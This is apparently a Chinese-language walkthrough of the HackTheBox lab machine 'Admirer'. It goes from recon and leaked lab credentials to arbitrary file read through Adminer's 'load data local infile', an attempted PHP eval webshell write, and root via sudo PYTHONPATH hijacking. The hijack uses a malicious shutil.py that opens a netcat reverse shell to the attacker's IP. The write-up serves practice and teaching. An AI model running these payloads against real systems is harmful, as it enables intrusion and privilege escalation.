HackTheBox—Admirer

搞shell

web

进入题目环境全是图片,先看看源码,有个banner信息

1
2
3
4
5
<!--
Multiverse by HTML5 UP
html5up.net | @ajlkn
Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)
-->

google了一下没有看到对应的利用姿势,所以问题不是出在这里。还是先扫扫目录:

1
2
3
4
5
6
7
8
[08:12:44] 403 -  277B  - /.php
[08:12:51] 301 - 313B - /assets -> http://10.10.10.187/assets/
[08:13:44] 301 - 313B - /images -> http://10.10.10.187/images/
[08:14:05] 200 - 6KB - /index.php/login/
[08:14:05] 200 - 6KB - /index.php
[08:15:03] 200 - 138B - /robots.txt
[08:15:04] 403 - 277B - /server-status
[08:15:04] 403 - 277B - /server-status/

index.php就是当前主页,看到robots.txt内容:

1
2
3
4
5
User-agent: *

# This folder contains personal contacts and creds, so no one -not even robots- should see it - waldo

Disallow: /admin-dir

这里提示有个admin-dir目录,不过访问也会提示403,再继续在这个基础上爆破二级目录,爆破php无果,换成txt后缀可以获取到 2 个文件:

1
2
3
4
5
6
7
8
9
Target: http://10.10.10.187/admin-dir/FUZZ.txt
Total requests: 20469
===================================================================

ID Response Lines Word Chars Payload
===================================================================

000005198: 200 29 L 39 W 350 Ch "contacts"
000005443: 200 11 L 13 W 136 Ch "credentials"

其中contacts.txt 的内容主要是记录了通信信息,包括用户名和邮箱地址,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
##########
# admins #
##########
# Penny
Email: p.wise@admirer.htb


##############
# developers #
##############
# Rajesh
Email: r.nayyar@admirer.htb
# Amy
Email: a.bialik@admirer.htb
# Leonard
Email: l.galecki@admirer.htb

#############
# designers #
#############
# Howard
Email: h.helberg@admirer.htb
# Bernadette
Email: b.rauch@admirer.htb

credentials.txt的内容则是邮箱地址密码、ftp的账户密码、WordPress的账户密码,如下:

1
2
3
4
5
6
7
8
9
10
11
[Internal mail account]
w.cooper@admirer.htb
fgJr6q#S\W:$P

[FTP account]
ftpuser
%n?4Wz}R$tTF7

[Wordpress account]
admin
w0rdpr3ss01!

但是我们这里的却没有找到登录界面,所以可以试试看从这个ftp账户入手,用nmap扫扫看有没有ftp端口开放

主机信息

nmap扫描一下看看端口信息:

1
2
3
4
5
6
7
8
9
10
11
C:\root\Documents\exploit> nmap 10.10.10.187
Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-07 08:38 EDT
Nmap scan report for 10.10.10.187
Host is up (0.12s latency).
Not shown: 997 closed ports
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http

Nmap done: 1 IP address (1 host up) scanned in 1.90 seconds

ftp口令泄露

接下来直接使用前面搞到的口令密码来登录ftp试试,上去就看到2个文件,down下来看看:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
C:\root\Documents\exploit> ftp 10.10.10.187
Connected to 10.10.10.187.
220 (vsFTPd 3.0.3)
Name (10.10.10.187:root): ftpuser
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -la
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-x--- 2 0 111 4096 Dec 03 2019 .
drwxr-x--- 2 0 111 4096 Dec 03 2019 ..
-rw-r--r-- 1 0 0 3405 Dec 02 2019 dump.sql
-rw-r--r-- 1 0 0 5270987 Dec 03 2019 html.tar.gz
226 Directory send OK.
ftp> get dump.sql
local: dump.sql remote: dump.sql
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for dump.sql (3405 bytes).
226 Transfer complete.
3405 bytes received in 0.00 secs (34.5453 MB/s)
ftp> get html.tar.gz
local: html.tar.gz remote: html.tar.gz
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for html.tar.gz (5270987 bytes).
5253816 bytes received in 112.50 secs (45.6071 kB/s)

dump.sql内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
C:\root\Documents\exploit> cat dump.sql 

-- MySQL dump 10.16 Distrib 10.1.41-MariaDB, for debian-linux-gnu (x86_64)
--
-- Host: localhost Database: admirerdb

-- ------------------------------------------------------

-- Server version 10.1.41-MariaDB-0+deb9u1

/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
/*!40101 SET NAMES utf8mb4 */;
/*!40103 SET @OLD_TIME_ZONE=@@TIME_ZONE */;
/*!40103 SET TIME_ZONE='+00:00' */;
/*!40014 SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS=0 */;
/*!40014 SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0 */;
/*!40101 SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE='NO_AUTO_VALUE_ON_ZERO' */;
/*!40111 SET @OLD_SQL_NOTES=@@SQL_NOTES, SQL_NOTES=0 */;

--

-- Table structure for table `items`
--

DROP TABLE IF EXISTS `items`;
/*!40101 SET @saved_cs_client = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `items` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`thumb_path` text NOT NULL,
`image_path` text NOT NULL,
`title` text NOT NULL,
`text` text,
PRIMARY KEY (`id`)
) ENGINE=InnoDB AUTO_INCREMENT=13 DEFAULT CHARSET=utf8mb4;
/*!40101 SET character_set_client = @saved_cs_client */;

--

-- Dumping data for table `items`
--

LOCK TABLES `items` WRITE;
/*!40000 ALTER TABLE `items` DISABLE KEYS */;
INSERT INTO `items` VALUES (1,'images/thumbs/thmb_art01.jpg','images/fulls/art01.jpg','Visual Art','A pure showcase of skill and emotion.'),(2,'images/thumbs/thmb_eng02.jpg','images/fulls/eng02.jpg','The Beauty and the Beast','Besides the technology, there is also the eye candy...'),(3,'images/thumbs/thmb_nat01.jpg','images/fulls/nat01.jpg','The uncontrollable lightshow','When the sun decides to play at night.'),(4,'images/thumbs/thmb_arch02.jpg','images/fulls/arch02.jpg','Nearly Monochromatic','One could simply spend hours looking at this indoor square.'),(5,'images/thumbs/thmb_mind01.jpg','images/fulls/mind01.jpg','Way ahead of his time','You probably still use some of his inventions... 500yrs later.'),(6,'images/thumbs/thmb_mus02.jpg','images/fulls/mus02.jpg','The outcomes of complexity','Seriously, listen to Dust in Interstellar\'s OST. Thank me later.'),(7,'images/thumbs/thmb_arch01.jpg','images/fulls/arch01.jpg','Back to basics','And centuries later, we want to go back and live in nature... Sort of.'),(8,'images/thumbs/thmb_mind02.jpg','images/fulls/mind02.jpg','We need him back','He might have been a loner who allegedly slept with a pigeon, but that brain...'),(9,'images/thumbs/thmb_eng01.jpg','images/fulls/eng01.jpg','In the name of Science','Some theories need to be proven.'),(10,'images/thumbs/thmb_mus01.jpg','images/fulls/mus01.jpg','Equal Temperament','Because without him, music would not exist (as we know it today).');
/*!40000 ALTER TABLE `items` ENABLE KEYS */;
UNLOCK TABLES;
/*!40103 SET TIME_ZONE=@OLD_TIME_ZONE */;

/*!40101 SET SQL_MODE=@OLD_SQL_MODE */;
/*!40014 SET FOREIGN_KEY_CHECKS=@OLD_FOREIGN_KEY_CHECKS */;
/*!40014 SET UNIQUE_CHECKS=@OLD_UNIQUE_CHECKS */;
/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;
/*!40111 SET SQL_NOTES=@OLD_SQL_NOTES */;

-- Dump completed on 2019-12-02 20:24:15

html.tar.gz 解压之后是站点的备份文件,其中有个 index.php 文件包含1个用户名密码:

1
2
3
4
5
6
<?php
$servername = "localhost";
$username = "waldo";
$password = "]F7jLHw:*G>UPrTo}~A"d6b";
$dbname = "admirerdb";
?>

其中有个文件夹 utility-scripts 下面有 4 个 php 文件,

1
2
3
4
5
6
7
8
9
C:\root\Documents\exploit> cd utility-scripts/
C:\root\Documents\exploit\utility-scripts> ls -la
总用量 24
drwxr-x--- 2 root www-data 4096 12月 2 2019 .
drwxr-xr-x 8 root root 4096 9月 7 23:28 ..
-rw-r----- 1 root www-data 1795 12月 2 2019 admin_tasks.php
-rw-r----- 1 root www-data 401 12月 1 2019 db_admin.php
-rw-r----- 1 root www-data 20 11月 29 2019 info.php
-rw-r----- 1 root www-data 53 12月 2 2019 phptest.php

主要关注 4 个文件,一个是admin_tasks.php,可以查看一些备份信息,但是显示只做了前面 3 个功能,尝试burp抓包修改发现后端确实还没有完成后面 4 个功能。另外一个是 db_admin.php ,这里泄露了一个账号密码,先记下来:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
$servername = "localhost";
$username = "waldo";
$password = "Wh3r3_1s_w4ld0?";

// Create connection
$conn = new mysqli($servername, $username, $password);

// Check connection
if ($conn->connect_error) {
die("Connection failed: " . $conn->connect_error);
}
echo "Connected successfully";

// TODO: Finish implementing this or find a better open source alternative
?>

密码收集

经过前面的信息收集,现在手上已经有了 5 套密码,其中 waldo 用户有2个密码,试了前面的ssh也不行,所以还得继续找其他的利用点。用前面搞到的路径 utility-scripts 进行爆破二级目录,发现一个数据库连接页面 http://10.10.10.187/utility-scripts/adminer.php

这里用了 adminer ,用前面的账号密码一一尝试也不对。google了一下发现这个工具可以链接外部的数据库服务器,并且配合 load data local infile 实现任意文件读取。

文件读取

创建本地数据库

先在本地创建一个表,待会读取的文件就存放到这个表里面。

1
create table adminer (text varchar(200));

然后在adminer的登录界面输入我们自己的数据库地址、用户名、密码、数据库名等等,登录成功之后就可以利用 load data local infile 进行文件读取。这里开始没搞懂一直用 load data infile 去读取文件,这里加上 local 的话就是读取运行 adminer 的服务器上的文件,不加 local 就是读取实际运行sql 语句的服务器上的文件,所以这里我们需要使用这个语句来读取

1
load data local infile '/etc/passwd' into table adminer FIELDS TERMINATED BY '\n';

运行之后我们就可以在自己本地的 adminer 表中看到对应的内容, 那我们接下来该读取什么呢?结合前面 ftp 的文件来看,首先应该是读取 index.phpdb_admin.php ,因为这里面有密码,很有可能当初打包放到 ftp 之后密码就被修改了,所以我们需要读现在服务器上面最新的文件:

1
load data local infile '/var/www/html/index.php' into table adminer FIELDS TERMINATED BY '\n'

这里读取的 index.php 中的账号密码跟前面我们通过 ftp 拿到的不一样

1
2
3
4
$servername = "localhost";
$username = "waldo";
$password = "&<h5b~yK3F#{PaPB&dA}{H>";
$dbname = "admirerdb";

SQL注入写shell?

拿我们找到的新密码再试试看能不能登录 adminer ,登录成功后尝试使用 SQL 语句写 shell

1
2
3
CREATE TABLE a (cmd text NOT NULL);
INSERT INTO a (cmd) VALUES('<?php eval($_POST[\'password\']);?>');
SELECT cmd from a into outfile '/var/www/html/chen1sheng.php';

不过因为这个账号权限太低了,所以写入会报错:Error in query (1045): Access denied for user 'waldo'@'localhost' (using password: YES) 所以这条路肯定也走不通了。

ssh连接

再用新密码尝试下ssh,结果成功连接上去了,接下来就是提权了

1
2
3
4
5
6
waldo@admirer:~$ ls
user.txt
waldo@admirer:~$ id
uid=1000(waldo) gid=1000(waldo) groups=1000(waldo),1001(admins)
waldo@admirer:~$ cat user.txt
5233f4af5a2602394f7c16426973283c

提权

找特权文件

使用 sudo -l 看当前用户有没有可以 sudo 运行的文件,其中有这么一行:

1
(ALL) SETENV: /opt/scripts/admin_tasks.sh

意思就是我们可以 sudo 来运行这个sh,同时SETENV允许用户为命令设置环境变量,这一点后面就会直接用到。有关sudo的可以看这里 https://toroid.org/sudoers-syntax

分析admin_task.sh

在这个 sh 文件中实现了几个功能函数,其中带有 backup 的功能在运行前先判断了当前的 euid,只有root 权限才运行,也就是说如果能够控制 backup 功能的文件就可以实现提权。

挨着看了下发现这里运行的文件都是限定了路径,同时对当前 sh 我们是没有修改权限的,所以这里用path替换肯定行不通了,唯一可以操作的就是其中的一个 py : /opt/scripts/backup.py

python库劫持

py文件主要是把html里的内容进行压缩备份,具体内容如下:

1
2
3
4
5
6
7
8
9
10
#!/usr/bin/python3
from shutil import make_archive

src = '/var/www/html/'

# old ftp directory, not used anymore
#dst = '/srv/ftp/html'

dst = '/var/backups/html'
make_archive(dst, 'gztar', src)

这里引入的 shutil 模块,可以利用 python 的库导入劫持来实现运行我们的代码,即我们新建一个shutil 文件,在其中定义好 make_archive 函数并在函数中写入我们想要执行的命令,运行原本的py之后就会加载我们定义的恶意库并运行。

查看当前python库加载路径

首先运行以下命令看看当前环境的 python 获取目录的有序列表:

1
2
3
4
5
6
7
8
waldo@admirer:/opt/scripts$ /usr/bin/python3 -c 'import sys; print("\n".join(sys.path))'

/usr/lib/python35.zip
/usr/lib/python3.5
/usr/lib/python3.5/plat-x86_64-linux-gnu
/usr/lib/python3.5/lib-dynload
/usr/local/lib/python3.5/dist-packages
/usr/lib/python3/dist-packages

环境中的 python3 会在运行时按照上面的顺序依次的去搜索加载对应的库,但是其实首先搜索的是运行脚本的当前目录,在我们这里就是 /opt/script/ ,将上面的目录都测试了发现没有写入权限,所以直接写入到已有目录的的方法已经行不通了,这也符合实际情况,在实际环境中一般也不会有人去主动修改这些目录权限。

所以我们可以新增环境变量,并在对应路径下新建一个恶意库,具体操作如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
waldo@admirer:~/py$ export PYTHONPATH=$PYTHONPATH:/home/waldo/py
waldo@admirer:~/py$ /usr/bin/python3 -c 'import sys; print("\n".join(sys.path))'

/home/waldo/py
/usr/lib/python35.zip
/usr/lib/python3.5
/usr/lib/python3.5/plat-x86_64-linux-gnu
/usr/lib/python3.5/lib-dynload
/usr/local/lib/python3.5/dist-packages
/usr/lib/python3/dist-packages
waldo@admirer:~/py$ touch shutil.py
waldo@admirer:~/py$ nano shutil.py
waldo@admirer:~/py$ cat shutil.py
import os

def make_archive(a, b, c):
os.system("nc 10.10.16.4 1234 -e '/bin/sh'")

可以看到这里已经有了我们新增的路径/home/waldo/py了,同时我们新建一个shutil的文件内容如上。

sudo重置环境变量

接下来使用sudo /opt/scripts/admin_tasks.sh 来运行 sh 脚本,选择功能 6 来触发 py 运行实现 nc 连接。但是这里我试了几次都不行。相反我直接使用 python3 /opt/scripts/backup.py 来运行这个脚本则可以触发nc连接,虽然不是root权限,所以问题是出在这个sh脚本的调用方法了。一步步的看,给了sudo权限,去调用py肯定权限是可以通过的,那么问题可能就正好出在sudo这个命令,搜了一下发现使用sudo的命令去执行脚本可能会出现环境变量reset的情况。

参考:https://blog.csdn.net/Yaokai_AssultMaster/article/details/80447809

大概的意思就是使用 root 权限来执行时,即使我们自己在 .bashrc 或其他类似的配置文件中定义了PYTHONPATH 或者 PATH 路径的话,也会出现 import 路径不存在的错误。这是因为在使用 sudo 模式执行程序的时候,系统会自动重置 PATH 环境变量。可以查看 /etc/sudoers 文件,如果其中存在如下内容,则说明sudo模式下会默认重置环境变量。

1
Defaults env_reset

getRoot

那么为了能够在sudo下继续使用我们定义的环境变量,有 2 个办法:

  • 删除该行,sudoers 文件只有 root 才有权限修改,所以这里不现实
  • 手动指定,sudo PATH=/path/to/your/env python /path/to/your/script.py

手动指定的方法刚好呼应前面使用sudo -l 查看存在SETENV了,在这里我们就运行如下命令即可成功获取到反弹 shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
waldo@admirer:~/py$ sudo PYTHONPATH=~/py /opt/scripts/admin_tasks.sh 
[sudo] password for waldo:

[[[ System Administration Menu ]]]
1) View system uptime
2) View logged in users
3) View crontab
4) Backup passwd file
5) Backup shadow file
6) Backup web data
7) Backup DB
8) Quit
Choose an option: 6
Running backup script in the background, it might take a while...

总结

  • robots.txt 泄露敏感目录,进一步的多次敏感文件爆破
  • ftp文件下载
  • adminer本地文件读取,找到账号密码实现ssh登录
  • sudo -l 找特权文件
  • python库劫持

参考链接

https://ca0y1h.top/Target_drone/HackTheBox/17.HTB-Admirer-walkthrough/

https://xz.aliyun.com/t/3973#toc-1

https://blog.csdn.net/Yaokai_AssultMaster/article/details/80447809